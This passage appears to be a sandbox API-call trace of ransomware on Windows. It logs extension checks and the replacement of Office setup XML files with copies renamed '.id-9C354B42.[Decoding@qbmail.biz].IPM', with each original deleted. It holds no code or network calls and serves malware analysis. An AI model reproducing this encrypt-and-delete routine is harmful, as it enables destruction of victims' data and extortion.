Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.880] lstrlenW (lpString=".zip") returned 4 [0084.880] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.880] lstrlenW (lpString=".rar") returned 4 [0084.880] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.880] lstrlenW (lpString=".bz2") returned 4 [0084.880] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.880] lstrlenW (lpString=".7z") returned 3 [0084.881] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.881] lstrlenW (lpString=".dbf") returned 4 [0084.881] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.881] lstrlenW (lpString=".1cd") returned 4 [0084.881] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.881] lstrlenW (lpString=".jpg") returned 4 [0084.881] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.881] lstrlenW (lpString=".doc") returned 4 [0084.881] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.881] lstrlenW (lpString=".docx") returned 5 [0084.881] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0084.882] lstrlenW (lpString=".pdf") returned 4 [0084.882] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.882] lstrlenW (lpString=".xls") returned 4 [0084.882] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.882] lstrlenW (lpString=".xlsx") returned 5 [0084.882] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0084.882] lstrlenW (lpString=".ppt") returned 4 [0084.882] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0084.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.882] lstrlenW (lpString=".zip") returned 4 [0084.882] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0084.882] lstrlenW (lpString=".rar") returned 4 [0084.882] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0084.882] lstrlenW (lpString=".bz2") returned 4 [0084.882] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0084.882] lstrlenW (lpString=".7z") returned 3 [0084.882] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0084.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.883] lstrlenW (lpString=".dbf") returned 4 [0084.883] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0084.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.883] lstrlenW (lpString=".1cd") returned 4 [0084.883] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0084.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0084.883] lstrlenW (lpString=".jpg") returned 4 [0084.883] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0084.883] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0084.884] lstrlenW (lpString="SETUP.XML") returned 9 [0084.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0084.933] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4207) returned 1 [0084.933] CloseHandle (hObject=0x1ec) returned 1 [0084.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0084.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0084.934] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.934] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0084.935] GetLastError () returned 0x0 [0084.935] ReadFile (in: hFile=0x1ec, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x106f, lpOverlapped=0x0) returned 1 [0084.944] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0084.947] ReadFile (in: hFile=0x1ec, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0084.947] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0084.947] SetEndOfFile (hFile=0x204) returned 1 [0084.947] CloseHandle (hObject=0x204) returned 1 [0084.953] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.953] SetEndOfFile (hFile=0x1ec) returned 1 [0084.955] CloseHandle (hObject=0x1ec) returned 1 [0084.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.956] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0084.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0084.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0084.956] lstrlenW (lpString=".doc") returned 4 [0084.956] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0084.956] lstrlenW (lpString=".docx") returned 5 [0084.956] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0084.956] lstrlenW (lpString=".pdf") returned 4 [0084.956] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0084.956] lstrlenW (lpString=".xls") returned 4 [0084.957] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0084.957] lstrlenW (lpString=".xlsx") returned 5 [0084.957] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0084.957] lstrlenW (lpString=".ppt") returned 4 [0084.957] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.090] lstrlenW (lpString=".zip") returned 4 [0085.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.090] lstrlenW (lpString=".rar") returned 4 [0085.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.090] lstrlenW (lpString=".bz2") returned 4 [0085.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.090] lstrlenW (lpString=".7z") returned 3 [0085.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.090] lstrlenW (lpString=".dbf") returned 4 [0085.091] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.091] lstrlenW (lpString=".1cd") returned 4 [0085.091] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.091] lstrlenW (lpString=".jpg") returned 4 [0085.091] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.091] lstrlenW (lpString=".doc") returned 4 [0085.091] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.091] lstrlenW (lpString=".docx") returned 5 [0085.091] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0085.091] lstrlenW (lpString=".pdf") returned 4 [0085.091] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.092] lstrlenW (lpString=".xls") returned 4 [0085.092] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.092] lstrlenW (lpString=".xlsx") returned 5 [0085.092] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0085.092] lstrlenW (lpString=".ppt") returned 4 [0085.092] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.092] lstrlenW (lpString=".zip") returned 4 [0085.092] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.092] lstrlenW (lpString=".rar") returned 4 [0085.092] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.092] lstrlenW (lpString=".bz2") returned 4 [0085.092] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.092] lstrlenW (lpString=".7z") returned 3 [0085.092] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.093] lstrlenW (lpString=".dbf") returned 4 [0085.093] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.093] lstrlenW (lpString=".1cd") returned 4 [0085.093] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0085.093] lstrlenW (lpString=".jpg") returned 4 [0085.093] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.093] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.093] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0085.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0085.094] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1450) returned 1 [0085.094] CloseHandle (hObject=0x1d8) returned 1 [0085.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0085.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0085.095] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.095] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0085.261] GetLastError () returned 0x0 [0085.261] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0085.289] WriteFile (in: hFile=0x1c0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0085.290] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0085.291] WriteFile (in: hFile=0x1c0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0085.291] SetEndOfFile (hFile=0x1c0) returned 1 [0085.291] CloseHandle (hObject=0x1c0) returned 1 [0085.296] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.296] SetEndOfFile (hFile=0x1d8) returned 1 [0085.298] CloseHandle (hObject=0x1d8) returned 1 [0085.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0085.298] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0085.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.299] lstrlenW (lpString=".doc") returned 4 [0085.299] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.299] lstrlenW (lpString=".docx") returned 5 [0085.299] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0085.299] lstrlenW (lpString=".pdf") returned 4 [0085.299] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.299] lstrlenW (lpString=".xls") returned 4 [0085.299] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.299] lstrlenW (lpString=".xlsx") returned 5 [0085.299] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0085.299] lstrlenW (lpString=".ppt") returned 4 [0085.299] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.299] lstrlenW (lpString=".zip") returned 4 [0085.300] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.300] lstrlenW (lpString=".rar") returned 4 [0085.300] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.300] lstrlenW (lpString=".bz2") returned 4 [0085.300] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.300] lstrlenW (lpString=".7z") returned 3 [0085.300] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.300] lstrlenW (lpString=".dbf") returned 4 [0085.300] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.300] lstrlenW (lpString=".1cd") returned 4 [0085.300] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.300] lstrlenW (lpString=".jpg") returned 4 [0085.301] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.301] lstrlenW (lpString=".doc") returned 4 [0085.301] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0085.301] lstrlenW (lpString=".docx") returned 5 [0085.301] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0085.301] lstrlenW (lpString=".pdf") returned 4 [0085.301] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0085.301] lstrlenW (lpString=".xls") returned 4 [0085.301] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0085.301] lstrlenW (lpString=".xlsx") returned 5 [0085.301] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0085.301] lstrlenW (lpString=".ppt") returned 4 [0085.301] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0085.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.301] lstrlenW (lpString=".zip") returned 4 [0085.302] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0085.302] lstrlenW (lpString=".rar") returned 4 [0085.302] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0085.302] lstrlenW (lpString=".bz2") returned 4 [0085.302] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0085.302] lstrlenW (lpString=".7z") returned 3 [0085.302] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0085.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.302] lstrlenW (lpString=".dbf") returned 4 [0085.302] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0085.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.302] lstrlenW (lpString=".1cd") returned 4 [0085.302] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0085.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0085.302] lstrlenW (lpString=".jpg") returned 4 [0085.302] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0085.303] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0085.303] lstrlenW (lpString="SETUP.XML") returned 9 [0085.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0085.330] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=16683) returned 1 [0085.330] CloseHandle (hObject=0x1bc) returned 1 [0085.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0085.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0085.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0085.331] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.331] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0085.338] GetLastError () returned 0x0 [0085.338] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x412b, lpOverlapped=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x1c0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0085.356] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0085.356] WriteFile (in: hFile=0x1c0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0085.356] SetEndOfFile (hFile=0x1c0) returned 1 [0085.356] CloseHandle (hObject=0x1c0) returned 1 [0085.360] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.360] SetEndOfFile (hFile=0x1bc) returned 1 [0085.362] CloseHandle (hObject=0x1bc) returned 1 